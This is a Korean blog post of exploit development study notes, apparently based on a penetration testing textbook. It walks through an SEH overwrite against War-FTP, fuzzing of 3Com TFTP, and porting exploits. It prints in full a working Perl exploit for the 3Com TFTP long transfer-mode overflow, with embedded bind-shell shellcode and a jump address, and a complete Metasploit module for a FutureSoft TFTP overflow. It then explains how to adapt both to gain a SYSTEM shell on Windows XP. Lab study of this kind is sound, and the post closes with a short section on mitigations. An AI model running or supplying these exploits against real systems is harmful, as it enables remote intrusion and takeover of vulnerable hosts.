#7 - Exploit Development

RINM·2023년 2월 3일
0

Penetration Testing

목록 보기
7/7

Structured Exception Handler Overwrites

windows에서는 SEH(Structured Exception Handle)으로 프로그램 실행시 발생하는 exception을 처리한다. 프로그램 실행 중 문제가 발생하는 경우 프로그램 실행을 멈추고 SEH로 바로 실행이 넘어간다. 모든 함수는 SEH registration Entry를 가진다. registration entry record는 8바이트 길이로 다음 SEH 레코드 포인터를 포함한다. 이렇게 만들어진 일련의 SEH entry를 SEH chain이라고 한다.

보통의 경우 운영체제의 SEH entry를 사용하지만, 프로그램 별로 각자의 커스텀 SEH entry를 갖는 경우가 있다. Immunity 디버거의 View > SEH chain으로 프로그램의 SEH chain을 조회할 수 있다.

SEH Overwrite Exploit

이번엔 1550자리의 username으로 war-FTP의 buffer overflow를 유도한다.

1100자리 입력값과 다른 곳에서 exception이 일어난다. EIP는 0x77BF2322라는 MSVCRT의 정상적인 주소를 가지고 있다. 또한 충돌을 유발한 메모리의 주소도 덮어쓰여진 return address가 아니라 0x00AF0000이라는 다른 주소이다.

충돌이 일어난 시점의 명령어를 확인하면 mov byte PTR DS:[EDS], AL 이다. EDS의 현재 값이 0x00AEF0000으로 보아 이 값을 사용하여 mov 명령을 시도하던 중 유효하지 않은 메모리 주소를 만나 프로그램이 정지된 듯하다. 즉 이번에는 overflow가 EDS 값을 변조시켰고 EIP는 조작되지 않은 것 같다.
SEH chain을 확인하면 값이 입력값인 A(0x41)로 변조된 것을 볼 수 있다. 따라서 이번에는 EIP가 조작되는 대신 SEH chain이 변조되었고 exception을 처리하기 위하여 SEH가 실행되던 중 충돌이 일어나 프로그램이 멈추었을 것이다.

이번에는 EIP 대신 SEH chain을 통하여 execution을 탈취할 수 있을 것 같다. 이번에도 SEH가 덮어 써지는 곳의 offset을 찾기 위하여 mona를 이용한다.

buffer에 생성된 값을 담아 전송한다.

SEH chain의 값이 0x41317441로 변경되었다. mona를 사용하여 이 패턴의 offset을 찾는다.

변조된 SEH record의 값이 569번째 문자열이었음을 확인할 수 있다. record 하나가 NSEH pointer(4byte) + handler(4byte)로 이루어져 있기 때문에 길이 573 뒤에 SEH record를 변조할 값을 입력하면 된다.

Passing Control to SEH

SEH로 실행이 넘어갈 때 대부분의 register 값이 0으로 초기화 된다. 따라서 실행을 원하는 곳으로 탈취하기 위하여 앞서 한 방법과는 조금 다르게 시도해야한다. shift + F9를 눌러 exception을 프로그램에 전달할 수 있다. 다음 error가 나타날 때까지 shift+F9를 누른다.

메모리에서 ESP를 찾으면 스택의 두번째 아래 (ESP+8)에 입력한 문자열이 있는 것을 볼 수 있다. 스택의 상위 2개를 제거한 후 ESP를 호출하면 입력한 값을 실행시킬 수 있다.
추정한 offset이 맞는 지 우선 확인한다.

정확하다면 NSEH pointer로는 B가, SEH record에는 C가 들어있고 그 이후의 값은 D로 되어 있을 것이다.

shift + F9를 누르면 이번에는 메모리 0x43434343로 인하여 프로그램이 멈추고 스택을 확인하면 ESP+9위치에 4개의 B와 4개의 C 그리고 나머지 D가 존재한다.

이제 ESP+8을 실행하기 위해서 POP을 2번 실행한 후 ESP 값으로 EIP를 이동하는 RET 코드가 필요하다.

SafeSEH

SafeSEH로 컴파일된 프로그램은 SEH에 필요한 메모리 공간을 추적하기 때문에 임의로 execution을 redirect하는 게 불가능하다. mona를 사용하면 SafeSEH가 적용되지 않은 모듈을 찾아낼 수 있다.

SafeSEH가 적용되지 않은 모듈은 War-FTP와 MFC42.dll 뿐이다.

이 중에서 null 문자 등 입력값으로 넣기 어려운 문자를 제외하고 pop pop ret를 사용하는 곳을 찾는다. 0x5f4580ca에 있는 것을 사용한다.

해당 위치에 breakpoint를 걸어놓고 kali로 돌아와 C 자리를 해당 주소로 바꾼다.

SEH의 값이 5F4580CA로 바뀐 것을 확인할 수 있다.

shift+F9로 넘어가면 breakpoint에서 멈춘다.

F7을 눌러 진행하다보면 의도한 곳으로 EIP가 옮겨진다. B가 입력된 곳이다.

이제 B가 입력된 4byte를 활용하여 D가 입력되어 있는 쉘코드 부분으로 옮겨가야한다. assembly의 short jump를 사용한다. \xEB\x06으로 6byte 건너 뛸 수 있다. buffer를 변경하여 전송하면 다음과 같이 코드가 바뀐 것을 확인할 수 있다. F7을 한 번 더 누르면 의도한 대로 D가 저장되어 있는 곳으로 이동한다.

이제 이전 시도처럼 msfvenom을 사용하여 shellcode를 생성한다. payload는 windows/shell_bind_tcp로, 최대 크기는 573바이트로 지정한다. null 문자 등 입력을 방해하는 바이트도 포함되지 않도록 설정한다.

shellcode를 buffer에 포함한다. SEH overwrite을 유도하기 위하여 패딩으로 전체 바이트를 1150으로 만든다.

exploit이 성공하여 netcat으로 win XP의 쉘을 얻을 수 있다.

Fuzzing, Porting Exploits, and Metasploit Modules

Fuzzing Programs

프로그램에 다양한 값을 입력하여 개발자가 의도하지 않은 행위를 하는, 즉 exploit 가능성이 있는 부분을 찾는다.

Win XP에 설치된 2.0.1버전 3Com TFTP 서버에 fuzzing을 시도하여 취약점을 찾는다. TFTP는 UDP 69번 포트에서 작동한다. TFTP 패킷의 구조는 다음과 같다.

사용자가 입력값의 길이를 임의로 선택할 수 있는 경우 buffer overflow 취약점을 갖기 쉽다. TFTP의 경우 Filename 필드의 길이와 내용을 사용자가 지정할 수 있다. Mode 필드의 경우도 마찬가지인데 TFTP에서 제공하는 mode는 netascii, octet, mail이기 때문에 8자리보다 긴 mode 값이 주어지는 경우 overflow를 기대해볼 수 있다.

Mode 필드를 사용하여 Fuzzing을 시도한다. TFTP가 정상적으로 패킷을 처리하면 mode 값이 올바르지 않다는 안내가 나올 것이고 만약 overflow가 일어났다면 다른 결과가 나타날 것이다.

python socket으로 TFTP와 통신한다.

100자리, 200자리, ... 로 이루어진 buffer 배열을 생성한다. TFTP 패킷 구조에 맞추어 패킷을 생성하고 각 패킷의 응답을 출력한다.

Win XP에서 #CTftpSvc를 실행하고 immunity Debugger에 attach한다.

fuzzing을 실행하면 지원되지 않는 mode라는 안내가 뜨다가 600자리부터 응답이 오지 않는다.

500자리 입력값을 전송했을 때 이전과 다른 응답이 오는 것을 보고 500자리에서 프로그램 충돌이 났음을 짐작할 수 있다. Immunity 디버거를 확인하면 EIP가 41414141로 변조되어 실행이 멈춘 것을 볼 수 있다.

또한 ESP와 ESI에 A 배열이 들어있다. 500자리 정도의 mode 입력값으로 몇몇 레지스터 값을 변조할 수 있다는 사실을 알 수 있다. 이를 토대로 앞서 수행한 exploit처럼 EIP와 스택을 조작하여 shellcode를 실행하는 코드를 작성할 수 있다.

Porting Public Exploits

metasploit에 이용가능한 모듈이 없는 경우, 다른 public exploit code를 사용하여 exploit할 수 있다. 물론, 검증되지 않은 코드가 존재하기 때문에 주의해야한다. Exploit Database 등에서 public exploit code를 얻을 수 있다. Exploit Database에 3Com TFTP 2.0.1의 long transport mode vulnerabilty를 위한 exploit 코드가 존재한다.

이 중 2번째는 다음과 같이 perl로 작성된 코드이다.

#!/usr/bin/perl -w
# ===============================================================================================
#                3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit
#                               By Umesh Wanve (umesh_345@yahoo.com)
# ==============================================================================================          
# Credits : Liu Qixu is credited with the discovery of this vulnerability.
#
# Reference : https://www.securityfocus.com/bid/21301
#
# Date : 27-02-2007
#
# Tested on Windows 2000 SP4 Server English
#           Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
# 
# Buffer overflow exists in transporting mode name of TFTP server.
# 
# So here you go.
#
# Buffer = "\x00\x02"      +  "filename"    +  "\x00" +  nop sled +  Shellcode + JUMP  + "\x00";
# 
#
# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
#
# #
#===============================================================================================
use IO::Socket;

if(!($ARGV[1]))
{
 print "\n3COM Tftp long transport name exploit\n";
 print "\tCoded by Umesh wanve\n\n";
 print "Use: 3com_tftp.pl <host> <port>\n\n";
 exit;
}


$target = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] on port $ARGV[1]";



# win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
 
my($shellcode)=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48".
"\xc8\xb3\x54\x83\xeb\xfc\xe2\xf4\xb4\xa2\x58\x19\xa0\x31\x4c\xab".
"\xb7\xa8\x38\x38\x6c\xec\x38\x11\x74\x43\xcf\x51\x30\xc9\x5c\xdf".
"\x07\xd0\x38\x0b\x68\xc9\x58\x1d\xc3\xfc\x38\x55\xa6\xf9\x73\xcd".
"\xe4\x4c\x73\x20\x4f\x09\x79\x59\x49\x0a\x58\xa0\x73\x9c\x97\x7c".
"\x3d\x2d\x38\x0b\x6c\xc9\x58\x32\xc3\xc4\xf8\xdf\x17\xd4\xb2\xbf".
"\x4b\xe4\x38\xdd\x24\xec\xaf\x35\x8b\xf9\x68\x30\xc3\x8b\x83\xdf".
"\x08\xc4\x38\x24\x54\x65\x38\x14\x40\x96\xdb\xda\x06\xc6\x5f\x04".
"\xb7\x1e\xd5\x07\x2e\xa0\x80\x66\x20\xbf\xc0\x66\x17\x9c\x4c\x84".
"\x20\x03\x5e\xa8\x73\x98\x4c\x82\x17\x41\x56\x32\xc9\x25\xbb\x56".
"\x1d\xa2\xb1\xab\x98\xa0\x6a\x5d\xbd\x65\xe4\xab\x9e\x9b\xe0\x07".
"\x1b\x9b\xf0\x07\x0b\x9b\x4c\x84\x2e\xa0\xa2\x08\x2e\x9b\x3a\xb5".
"\xdd\xa0\x17\x4e\x38\x0f\xe4\xab\x9e\xa2\xa3\x05\x1d\x37\x63\x3c".
"\xec\x65\x9d\xbd\x1f\x37\x65\x07\x1d\x37\x63\x3c\xad\x81\x35\x1d".
"\x1f\x37\x65\x04\x1c\x9c\xe6\xab\x98\x5b\xdb\xb3\x31\x0e\xca\x03".
"\xb7\x1e\xe6\xab\x98\xae\xd9\x30\x2e\xa0\xd0\x39\xc1\x2d\xd9\x04".
"\x11\xe1\x7f\xdd\xaf\xa2\xf7\xdd\xaa\xf9\x73\xa7\xe2\x36\xf1\x79".
"\xb6\x8a\x9f\xc7\xc5\xb2\x8b\xff\xe3\x63\xdb\x26\xb6\x7b\xa5\xab".
"\x3d\x8c\x4c\x82\x13\x9f\xe1\x05\x19\x99\xd9\x55\x19\x99\xe6\x05".
"\xb7\x18\xdb\xf9\x91\xcd\x7d\x07\xb7\x1e\xd9\xab\xb7\xff\x4c\x84".
"\xc3\x9f\x4f\xd7\x8c\xac\x4c\x82\x1a\x37\x63\x3c\xb8\x42\xb7\x0b".
"\x1b\x37\x65\xab\x98\xc8\xb3\x54";



print "++ Building Malicous Packet .....\n";

$nop="\x90" x 129;  


$jmp_2000 = "\x0e\x08\xe5\x77";                              # jmp esi user32.dll windows 2000 sp4 english (on 27-02-2007)


$exploit = "\x00\x02";                                      #write request (header)

$exploit=$exploit."A";                                      #file name   

$exploit=$exploit."\x00";                                   #Start of transporting name

$exploit=$exploit.$nop;                                     #nop sled to land into shellcode 

$exploit=$exploit.$shellcode;                               #our Hell code 

$exploit=$exploit.$jmp_2000;                               #jump to shellcode 

$exploit=$exploit."\x00";                                   #end of TS mode name



print $target $exploit;                                     #Attack on victim

print "++ Exploit packet sent ...\n";

print "++ Done.\n";

print "++ Telnet to 4444 on victim's machine ....\n";
sleep(2);


close($target);

exit;

#------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-02-28]

windows 2000을 대상으로 한 코드이기 때문에 타깃인 Win XP에서는 적용이 안될 수 있다. 이렇게 몇몇 부분을 상황에 맞게 고쳐주어야한다. 또한 shellcode의 경우 확실하게 어떤 동작을 하는지 알 수 없고, 사용자 환경에 부합하지 않을 수 있어 직접 제작하는 것이 더 좋다.
exploit을 위한 mode 필드는 129개의 NOP 슬래드와 344바이트의 쉘코드, 4바이트의 return addrss로 이루어져있다. return address는 USER32.dll에 존재하는 JMP ESI 부분이라고 한다. (Windows 2000 SP4 기반이므로 타깃인 Win XP에서는 유요하지 않을 가능성이 높다.) 타깃 Win XP에서 3Com TFTP가 실행되면서 사용하는 dll 중 JMP ESI가 사용되는 부분을 찾아 주어진 코드의 $jmp_2000의 값을 변경한다.

USER32.dll의 0x77d3ae4e를 이용한다.

msfvenom을 사용하여 shellcode를 새로 생성한다. NOP sled를 합쳐서 최대 473바이트의 쉘코드가 가능하다. 쉘코드에는 null이 포함되어서는 안 된다.

생성한 쉘코드로 perl 스크립트를 수정한다. NOP sled의 길이를 맞추는 것도 잊지 않는다.

해당 스크립트를 실행하면서 타깃의 IP주소와 포트를 인자로 제공한다.

exploit이 성공하면 netcat으로 타깃의 4444번 포트에서 SYSTEM 권한의 shell을 획득할 수 있다.

Writing Metasploit Module

metasploit 모듈은 Ruby로 작성된다. 이미 존재하는 모듈을 토대로 새로운 모듈을 만들어 낼 수 있다. metasploit에는 지금까지 시도했던 3Com TFTP stack buffer overflow 모듈이 존재한다. /usr/share/metasploit-framework/modules/exploits/windows/tftp 에서 TFTP와 관련된 모듈을 확인할 수 있다.

이 중 futuresoft_transfermode.rb는 3COM은 아니지만 다른 TFTP SW와 관련된 transfer mode buffer overflow를 exploit하는 모듈이다.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the FutureSoft TFTP Server
        2000 product. By sending an overly long transfer-mode string, we were able
        to overwrite both the SEH and the saved EIP. A subsequent write-exception
        that will occur allows the transferring of execution to our shellcode
        via the overwritten SEH. This module has been tested against Windows
        2000 Professional and for some reason does not seem to work against
        Windows 2000 Server (could not trigger the overflow at all).
      },
      'Author'         => 'MC',
      'References'     =>
        [
          ['CVE', '2005-1812'],
          ['OSVDB', '16954'],
          ['BID', '13821']

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 350,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4} ], # ws2help.dll
          ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
          ['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799} ], # ws2help.dll
          ['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638} ], # PEB return
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2005-05-31'))

    register_options(
      [
        Opt::RPORT(69)
      ])

  end

  def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    sploit  = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
    sploit += rand_text_english(167, payload_badchars)
    seh  = generate_seh_payload(target.ret)
    sploit[157, seh.length] = seh
    sploit += "\x00"

    udp_sock.put(sploit)

    handler
    disconnect_udp
  end
end

class 정의는 상속받을 metasploit 모듈을, include는 사용할 라이브러리를 명시한다. 이 모듈은 UDP 통신을 이용한 remote exploit 모듈이다.
Payload 부분에 가능한 payload의 길이와 들어가서는 안되는 hex값을 지정할 수 있다. StackAdjustment 옵션은 payload를 덮어쓰는 일 없도록 ESP를 얼만큼 조정할 지를 나타낸다.
Targets에서는 명시된 return address를 사용하여 exploit할 수 있는 시스템 목록이다. 이때 return address는 리틀엔디안으로 작성하지 않아도 된다.
register_options에서 디폴트로 사용될 RPORT를 69번 포트로 지정하고 있다.
(Ruby에서는 end로 코드 블럭의 끝을 나타낸다.)

exploit 동작을 정의한다. Exploit::Remote::UDP mixin의 connect_udp 함수를 호출하여 udp 연결을 진행할 수 있다. 이제 패킷을 생성하여 udp_sock.put() 함수를 사용하여 패킷을 전송하면 된다.

exploit/windows/tftp/tftpd32_long_filename 모듈에서 TFTP 환경에서 string exploit을 진행하는 부분을 참고 할 수 있다.

filename 필드를 사용하는 점은 다르지만, 어떻게 exploit string을 작성하는지 볼 수 있다. rand_text_english()함수를 사용하여 exploit에 필요한 긴 string을 생성한다. 이때 문자열의 길이와 포함되어서는 안되는 문자를 지정할 수 있다. target.ret 변수로 return address를 지정한다. pack()은 Ruby의 함수로 바이너리 변환 함수이다. V 탬플릿으로 리틀엔디안으로 바꿀 수 있다. 사용자가 선택한 payload가 인코딩되어 exploit string에 더해진다.

FutureSoft TFTP 모듈의 스크립트를 수정하여 3Com TFTP long mode 모듈을 생성한다. 우선 SEH를 활용하는 모듈이 아니므로 include 절을 삭제한다.

모듈 검색에 쓰이는 refernce도 해당 vulnerability에 맞게 수정한다.

Payload의 Space를 473바이트로 수정한다.(shellcode 355바이트, padding 118바이트)

target은 현재 win XP 타깃의 정보를 토대로한다. return address 또한 조금 전 사용한 주소로 한다. 어떤 명령어를 실행하는 메모리 주소인지도 기록한다. DefaultTarget 옵션으로 target 0을 기본 타깃으로 설정할 수 있다.

이제 exploit을 새로 작성한다. OP Code를 02로 변경하고 임의의 문자열을 생성하여 filename으로한다. 인코딩한 payload와 return address를 형식에 맞게 넣어준다.

이제 수정한 코드를 별도의 파일로 저장한다. 모듈이 제대로 작성되었다면 metasploit에서 해당 모듈을 사용할 수 있다.

Exploitation Mitigation Techniques

exploit 기술에 맞서 exploit을 방어하거나 방지하는 Mitigation 기술도 함께 발전한다.

1. Stack Cookies (Canaries)

프로그램이 시작될 때, stack cookie가 계산되어 메모리의 .data 섹션에 저장된다. buffer overflow에 취약한 함수가 호출되면 .data의 stack cookie(canary value)를 return address와 EBP 다음으로 스택에 push한다. 함수 실행 후 return 될 때 canary 값과 .data의 값을 비교하여 일치하지 않으면 buffer overflow가 일어난 것으로 간주되어 execution이 탈취되기 전에 프로그램이 종료된다. SEH를 덮어쓰거나 함수가 return하기 전에 executionㅇ르 탈취하는 것으로 이 기능을 우회할 수 있다.

2. Address Space Layout Randomization (ASLR)

ASLR이 적용된 프로그램은 실행할 때마다 다른 메모리에 할당되기 때문에 특정 메모리 주소에 무엇이 있는지 알기 어렵다. Windows의 모든 프로그램이 ASLR을 적용해야하는 것은 아니기 때문에 몇몇 application의 경우 특정 메모리 주소로 exploit에 성공할 수 있지만, Win Vista 이후의 공유 라이브러리는 모두 ASLR이 적용되어 있다.

3. Data Execution Prevention (DEP)

DEP가 적용된 시스템에서는 일부 메모리를 실행불가능으로 지정하기 때문에 shellcode injection에 성공하더라도 실행시킬 수 없다. DEP를 우회하기 위해서는 return-oriented programming (ROP)를 사용해야한다. ROP는 이미 실행가능 메모리에 포함된 명령어를 실행하도록 돕는다. 보통 ROP로 실행가능한 메모리를 생성하고 이곳에 payload를 작성하여 실행한다.

4. Mandatory Code Signing

Apple의 ios에서는 모든 프로그램이 신뢰할 수 있는 기관에 의하여 (보통 Apple) 서명되어 있어야 실행할 수 있다. 따라서 모든 어플리케이션 개발자들은 코드를 Apple에 제출하고 Apple이 악의적인 행위를 하지 않는 어플리케이션이라고 판단할 때 코드에 서명하여 허가한다.
이러한 형식의 정책을 우회하려면 ROP로 모든 페이로드를 생성해야한다.

0개의 댓글